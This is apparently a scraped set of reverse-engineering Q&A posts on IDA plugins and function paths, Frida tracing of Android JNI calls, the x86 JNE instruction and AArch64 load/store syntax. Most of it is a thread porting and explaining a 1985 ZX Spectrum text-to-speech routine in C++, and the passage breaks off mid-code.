<p>I'm analyzing a C++ PE binary with its debug symbols using IDA 7.3 w/ the decompiler.</p> <p>I'm using the HexRaysPyTools plugin to get the xrefs to class fields, but it doesn't show xrefs to virtual functions.</p> <p>I want to know if there is an existing similar plugin that can build the xref list for calls to virtual functions statically (ie. without running the code).</p> <p>As far as I can understand the behavior of HexRaysPyTools, it should be trivial to do that as the IDA decompiler already recognize virtual function calls when decompiling, I just need it to store the xref list to virtual functions just as HexRaysPyTools does with member fields.</p>
IDA plugin to show xrefs to virtual functions?
|ida|
<p>It's a bit complicated but should be possible via the <a href="https://www.hex-rays.com/blog/new-feature-in-ida-6-2-the-proximity-browser/" rel="nofollow noreferrer">proximity view</a>. You can also try a third party plugin <a href="https://github.com/tacnetsol/ida/tree/master/plugins/alleycat" rel="nofollow noreferrer">AlleyCat</a>.</p>
26508
2020-12-11T14:37:45.353
<p>I like to view the path between 2 functions with IDA 7.0.</p> <p>I have already tried with &quot;function browser&quot; but not work becouse these 2 functions are not linked.</p> <p>For what I see there is no way to choose multiple functions and see their position in the graph.</p> <p>There is a way with IDA or other software to show the path between multiple functions ?</p> <p>Thanks !</p>
IDA how to view path between 2 functions
|ida|
<p>It is a bit unclear what do you mean by &quot;library being called&quot;. If you want to know when the library is loaded, you may look for references to <code>System.loadLibrary(string)</code> or <code>System.load(string)</code> java functions. You might for example hook it using <a href="https://frida.re/docs/android/" rel="nofollow noreferrer">Frida</a>.</p> <p>If you want to see when particular functions exported by the <code>libusbhost.so</code> are called, you also may use Frida. There is prebuild tool called <a href="https://frida.re/docs/frida-trace/" rel="nofollow noreferrer">frida-trace</a>. For example using <code>frida-trace -U -i β€œJava_*” [package_name]</code>, will print out all the calls to JNI native functions from your app, along with their timestamp.</p> <p>If you want to alter the parameters of the called functions, modify the way they work, or replace their return values - you may find the <a href="https://frida.re/docs/javascript-api/#interceptor" rel="nofollow noreferrer">Frida Interceptor</a> module useful.</p>
26535
2020-12-14T08:44:56.457
<p>Apologies for a beginner-esque question, but I am reverse engineering an Android application, that is most probably using the <code>libusbhost.so</code> library to interface with USB devices via Java Native Interface.</p> <p>How would I go about doing so?</p>
How can I see when a library is being called in Android?
|android|java|usb|libraries|
<p>JNE is an alias for JNZ because the CMP instruction will set ZF to 1 if the two values being compared are equal. So you can read it as β€œjump if <strong>not zero flag</strong>”, or β€œjump if ZF is not set”, or β€œjump if ZF is 0”.</p> <p>In your specific case, the jump will be taken if <code>eax</code> is <em>not equal</em> to -1.</p>
26536
2020-12-14T09:54:25.383
<p>I have a question about JNE. I use ollydbg and ReverseMe tutorial.</p> <p>In <strong>JNE</strong> condition, the zero flag is equal to <strong>1</strong>. and it mean the arithmetic result is <strong>zero</strong>. Right?</p> <p>The <strong>Z=1</strong> meaning the condition is true and it want to jump to Error message??? and If i change the <strong>zero flag</strong> to <strong>0</strong> <strong>(Z=0)</strong>, it mean false? and ignore the Error message??</p> <p>JNE = Jump If not Equal. So whats that mean? if not equal to .. ? What does it compare to?</p> <p>i confused ... <a href="https://i.stack.imgur.com/183vC.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/183vC.jpg" alt="enter image description here" /></a></p>
How JNE work in Ollydbg?
|assembly|
<p>This is a pretty standard assembly syntax and not particular to AArch64.</p> <p>The general pattern looks like:</p> <pre><code>[reg, displacement] </code></pre> <p>(In some assemblers parentheses are used instead of square brackets)</p> <p>The operation performed is approximately equivalent to the C expression:</p> <pre><code>*(reg+displacement) </code></pre> <p>In other words, the displacement is added to the value of the register and the resulting value is <em>dereferenced</em> as if it was a pointer. For load instruction (LDR), the memory is <em>read</em> from and the result is stored in the destination register; for the store (STR), the source register’s value is <em>written</em> to the memory at the calculated address.</p> <p>In case of the SP reference, IDA converted the raw displacement value to a <em>stack variable</em> reference. This is done so it’s easier to track accesses to the same area of the stack frame across the whole function. While the SP value may change at runtime, the stack variables will be stored at the same offset from it on each run of the program.</p>
26542
2020-12-15T06:55:26.317
<p>The following instructions are part of a IDA's disassembly of an AARCH64 binary. While it is fairly obvious that the <code>#</code> represent pure numbers and the <code>[]</code> probably refer to the memory address referred to by the elements in the <code>[]</code>, I don't quite understand what is the role of the &quot;,&quot;. I appreciate a description of the following load and store instructions.</p> <pre><code>LDR X1, [X28,#0x10] STR X0, [SP,#0x30+arg_8] </code></pre>
What do the following AARCH64 LDR and STR instructions do exactly?
|ida|assembly|arm64|aarch64|
<p>I can't really understand the speech from the <a href="https://www.youtube.com/watch?v=xgy5WaNhQSM" rel="nofollow noreferrer">Hlasový program</a> at all, but perhaps it is suitable for your needs.</p> <p>I don't have any specific knowledge of this particular software, but based on the time of release and the size, it's almost undoubtedly a formant-based system. The typical software (on the 8-bit computers of that vintage) used a text-to-phoneme and then phoneme-to-formant conversion.</p> <p>A somewhat larger but more intelligible system from that era was &quot;S.A.M.&quot; or &quot;Software Automated Mouth&quot; that someone has now <a href="https://discordier.github.io/sam/" rel="nofollow noreferrer">ported to Javascript</a>. Follow the links from there to read more, including reverse-engineered C code.</p> <p>The author of that software from the early 1980s, Mark Barton, was actually <a href="https://ataripodcast.libsyn.com/antic-interview-385-software-automatic-mouth-mark-barton" rel="nofollow noreferrer">recently interviewed</a> and offers some insights into that software.</p> <h1>This program</h1> <p>Here's a further analysis of your reverse-engineered software. I'll tell you how I did it as well as showing the result. First, I started looking at the inner-most loop and successively rewrote it, testing the result each time to make sure it produced identical results at each step. Then I essentially repeated that for larger and larger portions of the function. I also renamed and added variables to make them better reflect how the software is actually using them. While the Z80 is limited in the registers it can use (and what those registers can do) we do not have that same limitation in C++, so the code is rewritten for clarity.</p> <h2>say_char()</h2> <pre><code>void say_char(char chr) // chr = &lt; `A` , `Z`+26 &gt; { const Chain *chain = &amp;chain_sequence[chain_start[chr - 'A']]; for (BYTE c=0; (c &amp; 0x80) == 0; ++chain) { // count is in low four bits of c, end flag is high bit for (c = chain-&gt;copies_and_end(); c &amp; 0xf; --c) { BYTE a = chain-&gt;numbits_lookup(); if (a != 0) { BYTE bitcount = num_bits[a]; BYTE bitloc = chain-&gt;start_index(); // bitcount is the number of bits to emit // starting with the MSB of sound_bits[bitloc] for ( ;bitcount; ++bitloc) { for (BYTE mask = 0x80; mask; mask &gt;&gt;= 1) { _sound_on = (mask &amp; sound_bits[bitloc]); for (BYTE ws = t_speed; ws; ws--) sound_out(_sound_on); if (--bitcount == 0) break; } } } say_wait(t_pause); } } } </code></pre> <p>Here's the explanation. First, I renamed the structures:</p> <pre><code>tab_char0 --&gt; chain_start tab_char1 --&gt; chain_sequence tab_char2 --&gt; sound_bits tab_char3 --&gt; num_bits </code></pre> <p>Then I modified the <code>chain_sequence</code> to use a two-byte C++ structure instead. The definition is this:</p> <pre><code>struct Chain { // bits: 7 6 5 4 3 2 1 0 BYTE a; // m2 m1 c0 - l3 l2 l1 l0 BYTE b; // end | c7 c6 c5 c4 c3 c2 c1 bool end() const { return b &amp; 0x80; } BYTE copies() const { return a &amp; 0x0F; } BYTE start_index() const { return ((b &amp; 0x7f) &lt;&lt; 1) | ((a &amp; 0x20) &gt;&gt; 5); } BYTE copies_and_end() const { return (a &amp; 0x0F) | (b &amp; 0x80); } BYTE numbits_lookup() const { return (a &gt;&gt; 5) &amp; 7; } friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; out, const Chain&amp; ch) { return out &lt;&lt; &quot;copies = &quot; &lt;&lt; unsigned(ch.copies()) &lt;&lt; &quot;, start_index = &quot; &lt;&lt; unsigned(ch.start_index()) &lt;&lt; &quot;, numbits_lookup = &quot; &lt;&lt; unsigned(ch.numbits_lookup()) &lt;&lt; &quot;, end = &quot; &lt;&lt; std::boolalpha &lt;&lt; bool(ch.b &amp; 0x80) &lt;&lt; &quot;, useless = &quot; &lt;&lt; bool(ch.a &amp; 0x10); } }; </code></pre> <p>Due to this change, I had to modify the <code>chain_start</code> table to halve each of the entries.</p> <h2>How it works</h2> <p>For each letter, the code starts with a lookup in the <code>chain_start</code> table. That is an index into the <code>chain_sequence</code> table. If we select the first three entries in that table, they look like this:</p> <pre><code>const static Chain chain_sequence[98] = { /* A = 0 */ { 0x36, 0x81, }, /* B = 1 */ { 0x34, 0x19, }, { 0x31, 0xab, }, /* C = 3 */ { 0x18, 0x19, }, { 0x91, 0xc3, }, </code></pre> <p>Each of these is a chain sequence, with the last item identified with the high bit of the second byte set. For the letter 'A', it translates to this:</p> <pre><code>copies = 6, start_index = 3, numbits_lookup = 1, end = true </code></pre> <p>What this then means is that the code creates six copies of a bit pattern. Each copy ends with <code>t_pause</code> zero bits. For the beginning bits of each copy, the code uses the <code>numbits_lookup</code> value to look up the desired length in the 5-byte <code>num_bits</code>. So for 'A', the lookup is 1 and that corresponds to 0x2e = 46, but the way the code is written, that actually corresponds to one fewer bits actually emitted, or 45 in this case.</p> <p>Next it uses the <code>start_index</code> as the index into <code>sound_bits</code>. Each byte in the table is then clocked out starting with the most significant bit of each byte. So in this case, index 3 and a length of 45 bits corresponds to these entries in the table:</p> <pre><code>0xc3 0xe1 0xc7 0x8f, 0x0f, 0xf8 1100 0011 1110 0001 1100 0111 1000 1111 0000 1111 1111 10xx </code></pre> <p>The last two bits, marked xx are unused. So the effect of this is that the output corresponds to six copies of this:</p> <pre><code>1100001111100001110001111000111100001111111110 ... followed by `t_pause` 0 bits </code></pre> <h2>Commentary</h2> <h3>Translation bug</h3> <p>There is a bug in the code. If you look closely, one of the bits in what I'm calling <code>Chain</code> is not used (bit 4 of the first byte), but one of the other bits is used twice (bit 5 of the first byte).</p> <p>Indeed, I disassembled the original Z80 code and found this:</p> <pre><code>add hl,de ; cy = 0 (can't overflow) ld b,(hl) ; b = bitlen[a]; pop hl ; inc hl ; ld a,(hl) ; a = chain_sequence[hl + 1] dec hl ; push hl ; rla ; the carry shifted in is always zero ld de,sound_bits ; point to bit table ld l,a ; ld h,000h ; add hl,de ; hl = sound_bits[a] ld a,080h ; start with mask = 0x80 </code></pre> <p>Your code seems to imply that the carry bit is set when calling what I've labeled <code>start_index()</code> and it is, but closer to the relevant <code>rla</code> instruction that creates the <code>sound_bits</code> index byte, the carry bit is guaranteed to be zero. The add instruction, as noted above, cannot overflow and so clears the carry bit. None of the instructions from there to the <code>rla</code> instruction alter the carry bit, so it is zero at that point.</p> <h3>Other observations</h3> <p>Also the first three bytes of the <code>sound_bits</code> array appear to be unused.</p> <p>There doesn't appear to be a lot of overlapping data, but there could be. The chain sequence for one of the letters is re-used. I haven't worked on decoding the actual diacritics used here, but if the second 26 letters are designated A' to Z', the one for M' starts at index 68 and includes 5 chain segments. The one for N' uses the last three of these segments.</p> <p>Also for short and long versions of the same vowel, such as A and A' (A with čÑrka signifies a long vowel in Czech), the current code repeats the chain token, but with just a longer sequence. It might be possible to combine them and use a single bit flag to indicate a vowel.</p> <p>On a 16-bit machine, this could be made much more efficient by restructuring the data. It could also be modified to be event driven on an embedded system. For example, this could be interrupt-driven by a timer interrupt. Or one could create a queue of samples and use DMA transfer to clock them out to a speaker.</p> <h2>Physics</h2> <p>What this is doing is creating the lowest frequency via a sequence of bits (minimum of 45) followed by <code>t_pause</code> zeroes. The higher frequencies are created within the leading bit patterns in each copy. As expected, this a formant-based synthesizer with relatively low resolution.</p>
26544
2020-12-15T11:10:05.487
<p>For quite a long time I wanted to add TTS (text-to-speech) to my MCU applications and I tried quite few of them with more or less success always hitting a wall that either quality is not good or needed CPU power is too much.</p> <p>However I recently found a <a href="https://retrocomputing.stackexchange.com/a/17208/6868">very old TTS from ZX Spectrum</a> (in the link is more info and also link to original tap file repository) that is really good and simple (just 801 Bytes of Z80 asm code). So I did it a try , disassembled it (extract the basic and asm from tap file by my own utilities and disassembled with YAZD) and port the result to C++ with complete success. It sound good on both PC and MCU with very little CPU power needed. It produces 1 bit digital sound.</p> <h3>Here is the C++ source code I made:</h3> <pre><code>//--------------------------------------------------------------------------- //--- ZX Hlasovy program voicesoft 1985 ----------------------------------- //--- ported to C++ by Spektre ver: 1.001 ----------------------------------- //--------------------------------------------------------------------------- #ifndef _speech_h #define _speech_h //--------------------------------------------------------------------------- // API: void sound_out(bool on); // you need to code this function (should add a sample to sound output) void say_text(char *txt); // say null terminated text, &quot;a'c'&quot; -&gt; &quot;Ñè&quot; //--------------------------------------------------------------------------- // internals: void say_char(char chr); // internal function for single character (do not use it !!!) void say_wait(WORD ws); // internal wait (do not use it !!!) //--------------------------------------------------------------------------- // vars: bool _sound_on=false; // global state of the reproductor/sound output //--------------------------------------------------------------------------- // config: (recomputed for 44100 Hz samplerate) const static BYTE t_speed=5; // [samples] 1/(speech speed) (pitch) const static WORD t_pause=183; // [samples] pause between chars const static WORD t_space=2925; // [samples] pause ` ` const static WORD t_comma=5851; // [samples] pause `,` //--------------------------------------------------------------------------- // tables: const static BYTE tab_char0[52]= // 0..25 normal alphabet A..Z { // 26..51 diacritic alphabet A..Z 0x00,0x02,0x06,0x0a,0x0e,0x10,0x12,0x16,0x1a,0x1c,0x22,0x26,0x2a,0x2e,0x32, 0x34,0x38,0x42,0x48,0x4a,0x4e,0x50,0x50,0x56,0x1a,0x5c,0x64,0x66,0x70,0x74, 0x7a,0x7c,0xc2,0x84,0x86,0xc2,0xc2,0xc2,0x88,0x8c,0x92,0x94,0xc2,0x9e,0xa6, 0xa8,0xae,0xb0,0xc2,0xc2,0x86,0xbc }; const static BYTE tab_char1[196]= { 0x36,0x81,0x34,0x19,0x31,0xab,0x18,0x19,0x91,0xc3,0x34,0x19,0x31,0xe0,0x36, 0x84,0x92,0xe3,0x35,0x19,0x51,0x9c,0x31,0x31,0x34,0x96,0x36,0x87,0x33,0x3a, 0x32,0x3d,0x32,0xc0,0x18,0x19,0x51,0x9c,0x33,0x22,0x31,0xb1,0x31,0x31,0x36, 0xa5,0x31,0x31,0x36,0xa8,0x36,0x8a,0x18,0x19,0x31,0xab,0x18,0x19,0x51,0x1c, 0x34,0x31,0x32,0x34,0x32,0xb7,0x22,0x10,0x13,0x19,0x21,0xae,0x92,0xc3,0x18, 0x19,0x31,0xe0,0x36,0x8d,0x34,0x31,0x32,0x34,0x32,0xb7,0x18,0x19,0x71,0x1c, 0x92,0xc3,0x32,0x31,0x32,0x43,0x32,0x44,0x32,0xc5,0x3f,0x81,0x34,0x19,0x31, 0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x18,0x19,0x91,0xd3,0x33,0x19,0x71,0x6d, 0x32,0x93,0x3e,0x84,0x92,0x63,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x92,0xf3,0x3e, 0x87,0x31,0x31,0x36,0x25,0x31,0x31,0x35,0x25,0x32,0x93,0x3e,0x8a,0x18,0x19, 0x31,0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x13,0x19,0x32,0x60,0x13,0x19,0x71, 0xdd,0x92,0xd3,0x18,0x19,0x71,0x6d,0x32,0x93,0x3e,0x8d,0x34,0x31,0x32,0x34, 0x32,0x37,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x32,0x53,0x32,0x54,0x32,0xd5,0x1a, 0x99 }; const static BYTE tab_char2[262]= { 0x1a,0x99,0xe1,0xc3,0xe1,0xc7,0x8f,0x0f,0xf8,0x03,0x0f,0x07,0xc1,0xe3,0xff, 0x40,0x17,0xff,0x00,0x03,0xf8,0x7c,0xc1,0xf1,0xf8,0x03,0xfe,0x00,0x7f,0xfc, 0x00,0x03,0xf8,0x0f,0x09,0xf1,0xfe,0x03,0xef,0x40,0x17,0xff,0x00,0x03,0xe1, 0x5c,0x35,0xc5,0xaa,0x35,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x8e,0x38,0x73, 0xcf,0xf8,0x78,0xc3,0xdf,0x1c,0xf1,0xc7,0xfe,0x03,0xc0,0xff,0x00,0x00,0xff, 0xf8,0x00,0x7f,0xf8,0x03,0xff,0xf0,0x01,0xff,0xe0,0x03,0xaa,0xca,0x5a,0xd5, 0x21,0x3d,0xfe,0x1f,0xf8,0x00,0x00,0x1f,0xff,0xfc,0x20,0x00,0x00,0x03,0xff, 0xff,0x08,0x79,0x00,0x02,0xff,0xe1,0xc7,0x1f,0xe0,0x03,0xff,0xd0,0x01,0xff, 0xf0,0x03,0x7f,0x01,0xfa,0x5f,0xc0,0x07,0xf8,0x0f,0xc0,0xff,0x00,0x42,0xaa, 0xa5,0x55,0x5a,0xaa,0xaa,0x5a,0xa5,0x5a,0xaa,0x55,0x55,0xaa,0xaa,0xa5,0x55, 0xaa,0x5a,0xaa,0xa5,0x55,0xaa,0xaa,0xa5,0x55,0xaa,0xaa,0x55,0xa5,0xa5,0xaa, 0xa5,0xb7,0x66,0x6c,0xd8,0xf9,0xb3,0x6c,0xad,0x37,0x37,0x66,0xfc,0x9b,0x87, 0xf6,0xc0,0xd3,0xb6,0x60,0xf7,0xf7,0x3e,0x4d,0xfb,0xfe,0x5d,0xb7,0xde,0x46, 0xf6,0x96,0xb4,0x4f,0xaa,0xa9,0x55,0xaa,0xaa,0xa5,0x69,0x59,0x9a,0x6a,0x95, 0x55,0x95,0x55,0x6a,0xa5,0x55,0xa9,0x4d,0x66,0x6a,0x92,0xec,0xa5,0x55,0xd2, 0x96,0x55,0xa2,0xba,0xcd,0x00,0x66,0x99,0xcc,0x67,0x31,0x8e,0x66,0x39,0xa6, 0x6b,0x19,0x66,0x59,0xc6,0x71,0x09,0x67,0x19,0xcb,0x01,0x71,0xcc,0x73,0x19, 0x99,0xcc,0xc6,0x67,0x19,0x9a,0xc6, }; const static BYTE tab_char3[5]={ 0x00,0x2e,0x5a,0x5e,0xfe }; //--------------------------------------------------------------------------- void say_text(char *txt) { WORD hl; BYTE a,b,c; for (b=0xBB,hl=0;;hl++) // process txt { a=b; // a,c char from last iteration c=b; if (!a) break; // end of txt b=txt[hl]; // b actual char if ((b&gt;='a')&amp;&amp;(b&lt;='z')) b=b+'A'-'a'; // must be uppercase a=c; if ((a&gt;='A')&amp;&amp;(a&lt;='Z')) { // handle diacritic if (a!='C'){ a=b; if (a!='\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }} else{ a=b; if (a=='H'){ a+=0x1A; b=0xBB; } else{ if (a!='\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }} } // syntetize sound say_char(a); continue; } if (a==',')say_wait(t_comma); if (a==' ')say_wait(t_space); } } //---------------------------------------------------------------------- void say_wait(WORD ws) { for (;ws;ws--) sound_out(_sound_on); } //---------------------------------------------------------------------- void say_char(char chr) // chr = &lt; `A` , `Z`+26 &gt; { WORD hl,hl0; BYTE a,b,c,cy,cy0,ws; hl=tab_char0[chr-'A']; for (;;) { c =tab_char1[hl ]&amp;0x0F; c|=tab_char1[hl+1]&amp;0x80; for (;;) { a=tab_char1[hl]; a=(a&gt;&gt;5)&amp;7; cy=a&amp;1; hl0=hl; if (a!=0) { b=tab_char3[a]; hl=hl0; a=tab_char1[hl+1]; hl0=hl; cy0=(a&gt;&gt;7)&amp;1; a=((a&lt;&lt;1)&amp;254)|cy; cy=cy0; hl=a; a=0x80; for (;;) { _sound_on=(a&amp;tab_char2[hl]); for (ws=t_speed;ws;ws--) sound_out(_sound_on); b--; if (!b) break; cy=a&amp;1; a=((a&gt;&gt;1)&amp;127)|(cy&lt;&lt;7); if (!cy) continue; hl++; } } a^=a; say_wait(t_pause); c--; a=c&amp;0x0F; hl=hl0; if (a==0) break; } cy0=(c&gt;&gt;7)&amp;1; a=((c&lt;&lt;1)&amp;254)|cy; cy=cy0; if (cy) return; hl+=2; } } //--------------------------------------------------------------------------- #endif //--------------------------------------------------------------------------- </code></pre> <p>This works perfectly however I would like to understand how the sound is synthetized. I can not make any sense of it... is it some sort of compression of samples or uses <a href="https://swphonetics.com/praat/tutorials/what-are-formants/" rel="nofollow noreferrer">formant filter</a> to synthetize sound or combines them or its something else?</p> <p>So I want to dissect the <code>say_char</code> function to make sense/meaning of the <code>tab_char?[]</code> LUT tables.</p> <h3>[Edit2] thanks to Edward new more C/C++ like version</h3> <p>I rearranged the tables and added a lot of comment info to be more didactical and possible to tweak:</p> <pre><code>//--------------------------------------------------------------------------- //--- ZX Hlasovy program voicesoft 1985 ----------------------------------- //--- ported to C++ by Spektre ver: 2.001 ----------------------------------- //--------------------------------------------------------------------------- #ifndef _speech_h #define _speech_h //--------------------------------------------------------------------------- // API: void sound_out(bool on); // you need to code this function (should add a sample to sound output) void say_text(char *txt); // say null terminated text, &quot;a'c'&quot; -&gt; &quot;Ñč&quot; //--------------------------------------------------------------------------- // internals: void say_char(char chr); // internal function for single character (do not use it !!!) void say_wait(WORD ws); // internal wait (do not use it !!!) //--------------------------------------------------------------------------- // vars: bool _sound_on=false; // global state of the reproductor/sound output //--------------------------------------------------------------------------- // config: (recomputed for 44100 Hz samplerate) const static BYTE t_speed=5; // [samples] 1/(speech speed) (pitch) const static WORD t_pause=183; // [samples] pause between chars const static WORD t_space=2925; // [samples] pause ` ` const static WORD t_comma=5851; // [samples] pause `,` //--------------------------------------------------------------------------- // point to RLE encoded character sound (RLE_ix) const static BYTE tab_char[52]= { // A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0, 1, 3, 5, 7, 8, 9,11,13,14,17,19,21,23,25,26,28,33,36,37,39,40,40,43,13,46, // A' B' C' D' E' F' G' H' I' J' K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z' 50,51,56,58,61,62,97,66,67,97,97,97,68,70,73,74,97,79,83,84,87,88,97,97,67,94, }; // RLE encoded character sounds const static WORD tab_RLE[98]= { // 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 // end -----num------ ------------PCM_ix----------- // ix char 0x9804, // 0 A 0x103D,0x8473, // 1 B 0x203C,0x84AB, // 3 C 0x103D,0x8524, // 5 D 0x980B, // 7 E 0x892B, // 8 F 0x143D,0x8444, // 9 G 0x0481,0x9035, // 11 H 0x9812, // 13 I,Y 0x0C96,0x089D,0x88A4, // 14 J 0x203C,0x8444, // 17 K 0x0C5E,0x8481, // 19 L 0x0481,0x9865, // 21 M 0x0481,0x986C, // 23 N 0x9819, // 25 O 0x203C,0x8473, // 26 P 0x203C,0x0444,0x1081,0x0888,0x888F, // 28 Q 0x0827,0x0C3C,0x847A, // 33 R 0x88AB, // 36 S 0x203C,0x8524, // 37 T 0x9820, // 39 U 0x1081,0x0888,0x888F, // 40 V,W 0x203C,0x0451,0x88AB, // 43 X 0x0881,0x08CC,0x08D3,0x88DA, // 46 Z 0xBC04, // 50 A' 0x103D,0x0473,0x0C96,0x089D,0x88A4, // 51 B' * 0x203C,0x84E1, // 56 C' 0x0C3D,0x054C,0x882E, // 58 D' 0xB80B, // 61 E' 0x092B,0x0C96,0x089D,0x88A4, // 62 F' * 0x8959, // 66 CH,H' 0xB812, // 67 I',Y' 0x0481,0x1865, // 68 M' overlap with N' * 0x0481,0x1465,0x882E, // 70 N' overlap with M' 0xB819, // 73 O' 0x203C,0x0473,0x0C96,0x089D,0x88A4, // 74 P' * 0x0C3C,0x0924,0x0C3C,0x8517, // 79 R' 0x88E1, // 83 S' 0x203C,0x054C,0x882E, // 84 T' 0xB820, // 87 U' 0x1081,0x0888,0x088F,0x0C96,0x089D,0x88A4, // 88 V',W' * 0x0902,0x0909,0x8910, // 94 Z' 0xA83C, // 97 G',J',K',L',Q',X',W' (no sound) // missing: Δ½/ΔΉ,Ř/Ε”,Ú/Λ‡U,Γ΄,Γ€,Γ©/Δ› // accent?: B',F',M',P',V' // nosound: G',J',K',L',Q',X',W' }; // formant sounds sampled as 1bit PCM const static BYTE tab_PCM[]= { // bits,1bit PCM samples // ix,sample in binary 24,0x1A,0x99,0xE1, // 0,000110101001100111100001 46,0xC3,0xE1,0xC7,0x8F,0x0F,0xF8, // 4,110000111110000111000111100011110000111111111000 46,0x03,0x0F,0x07,0xC1,0xE3,0xFF, // 11,000000110000111100000111110000011110001111111111 46,0x40,0x17,0xFF,0x00,0x03,0xF8, // 18,010000000001011111111111000000000000001111111000 46,0x7C,0xC1,0xF1,0xF8,0x03,0xFE, // 25,011111001100000111110001111110000000001111111110 46,0x00,0x7F,0xFC,0x00,0x03,0xF8, // 32,000000000111111111111100000000000000001111111000 46,0x0F,0x09,0xF1,0xFE,0x03,0xEF, // 39,000011110000100111110001111111100000001111101111 46,0x40,0x17,0xFF,0x00,0x03,0xE1, // 46,010000000001011111111111000000000000001111100001 46,0x5C,0x35,0xC5,0xAA,0x35,0x00, // 53,010111000011010111000101101010100011010100000000 0, // 60, 46,0x00,0x00,0x00,0x00,0x00,0x3E, // 61,000000000000000000000000000000000000000000111110 90,0x3E,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3, // 68,0011111010001110001110000111001111001111111110000111100011000011 0xDF,0x1C,0xF1,0xC7, // 11011111000111001111000111000111 94,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3,0xDF, // 81,1000111000111000011100111100111111111000011110001100001111011111 0x1C,0xF1,0xC7,0xFE, // 00011100111100011100011111111110 46,0x03,0xC0,0xFF,0x00,0x00,0xFF, // 94,000000111100000011111111000000000000000011111111 46,0xF8,0x00,0x7F,0xF8,0x03,0xFF, // 101,111110000000000001111111111110000000001111111111 46,0xF0,0x01,0xFF,0xE0,0x03,0xAA, // 108,111100000000000111111111111000000000001110101010 46,0xCA,0x5A,0xD5,0x21,0x3D,0xFE, // 115,110010100101101011010101001000010011110111111110 46,0x1F,0xF8,0x00,0x00,0x1F,0xFF, // 122,000111111111100000000000000000000001111111111111 46,0xFC,0x20,0x00,0x00,0x03,0xFF, // 129,111111000010000000000000000000000000001111111111 46,0xFF,0x08,0x79,0x00,0x02,0xFF, // 136,111111110000100001111001000000000000001011111111 46,0xE1,0xC7,0x1F,0xE0,0x03,0xFF, // 143,111000011100011100011111111000000000001111111111 46,0xD0,0x01,0xFF,0xF0,0x03,0x7F, // 150,110100000000000111111111111100000000001101111111 46,0x01,0xFA,0x5F,0xC0,0x07,0xF8, // 157,000000011111101001011111110000000000011111111000 46,0x0F,0xC0,0xFF,0x00,0x42,0xAA, // 164,000011111100000011111111000000000100001010101010 254,0xAA,0xA5,0x55,0x5A,0xAA,0xAA,0x5A,0xA5, // 171,1010101010100101010101010101101010101010101010100101101010100101 0x5A,0xAA,0x55,0x55,0xAA,0xAA,0xA5,0x55, // 0101101010101010010101010101010110101010101010101010010101010101 0xAA,0x5A,0xAA,0xA5,0x55,0xAA,0xAA,0xA5, // 1010101001011010101010101010010101010101101010101010101010100101 0x55,0xAA,0xAA,0x55,0xA5,0xA5,0xAA,0xA5, // 0101010110101010101010100101010110100101101001011010101010100101 46,0xA5,0x55,0x5A,0xAA,0xAA,0x5A, // 204,101001010101010101011010101010101010101001011010 46,0x5A,0xAA,0xAA,0x5A,0xA5,0x5A, // 211,010110101010101010101010010110101010010101011010 46,0xAA,0x5A,0xA5,0x5A,0xAA,0x55, // 218,101010100101101010100101010110101010101001010101 254,0xB7,0x66,0x6C,0xD8,0xF9,0xB3,0x6C,0xAD, // 225,1011011101100110011011001101100011111001101100110110110010101101 0x37,0x37,0x66,0xFC,0x9B,0x87,0xF6,0xC0, // 0011011100110111011001101111110010011011100001111111011011000000 0xD3,0xB6,0x60,0xF7,0xF7,0x3E,0x4D,0xFB, // 1101001110110110011000001111011111110111001111100100110111111011 0xFE,0x5D,0xB7,0xDE,0x46,0xF6,0x96,0xB4, // 1111111001011101101101111101111001000110111101101001011010110100 46,0x66,0x6C,0xD8,0xF9,0xB3,0x6C, // 258,011001100110110011011000111110011011001101101100 46,0xD8,0xF9,0xB3,0x6C,0xAD,0x37, // 265,110110001111100110110011011011001010110100110111 46,0xB3,0x6C,0xAD,0x37,0x37,0x66, // 272,101100110110110010101101001101110011011101100110 94,0x3E,0x4D,0xFB,0xFE,0x5D,0xB7,0xDE,0x46, // 279,0011111001001101111110111111111001011101101101111101111001000110 0xF6,0x96,0xB4,0x4F, // 11110110100101101011010001001111 46,0xDE,0x46,0xF6,0x96,0xB4,0x4F, // 292,110111100100011011110110100101101011010001001111 254,0x4F,0xAA,0xA9,0x55,0xAA,0xAA,0xA5,0x69, // 299,0100111110101010101010010101010110101010101010101010010101101001 0x59,0x9A,0x6A,0x95,0x55,0x95,0x55,0x6A, // 0101100110011010011010101001010101010101100101010101010101101010 0xA5,0x55,0xA9,0x4D,0x66,0x6A,0x92,0xEC, // 1010010101010101101010010100110101100110011010101001001011101100 0xA5,0x55,0xD2,0x96,0x55,0xA2,0xBA,0xCD, // 1010010101010101110100101001011001010101101000101011101011001101 94,0x6A,0x92,0xEC,0xA5,0x55,0xD2,0x96,0x55, // 332,0110101010010010111011001010010101010101110100101001011001010101 0xA2,0xBA,0xCD,0x00, // 10100010101110101100110100000000 254,0x00,0x66,0x99,0xCC,0x67,0x31,0x8E,0x66, // 345,0000000001100110100110011100110001100111001100011000111001100110 0x39,0xA6,0x6B,0x19,0x66,0x59,0xC6,0x71, // 0011100110100110011010110001100101100110010110011100011001110001 0x09,0x67,0x19,0xCB,0x01,0x71,0xCC,0x73, // 0000100101100111000110011100101100000001011100011100110001110011 0x19,0x99,0xCC,0xC6,0x67,0x19,0x9A,0xC6, // 0001100110011001110011001100011001100111000110011001101011000110 }; //--------------------------------------------------------------------------- void say_text(char *txt) { int i; char a0,a1; for (a1=0xBB,i=0;a1;i++) // process txt { a0=a1; a1=txt[i]; // a0,a1 are last,actual char if ((a1&gt;='a')&amp;&amp;(a1&lt;='z')) a1+='A'-'a'; // a..z -&gt; A..Z if ((a0=='C')&amp;&amp;(a1=='H')){ a0='H'; a1='\''; } // CH -&gt; H' if ((a0&gt;='A')&amp;&amp;(a0&lt;='Z')) { if (a1=='\''){ a0+=0x1A; a1=0xBB; } // handle diacritic say_char(a0); // syntetize sound continue; } if (a0==',') 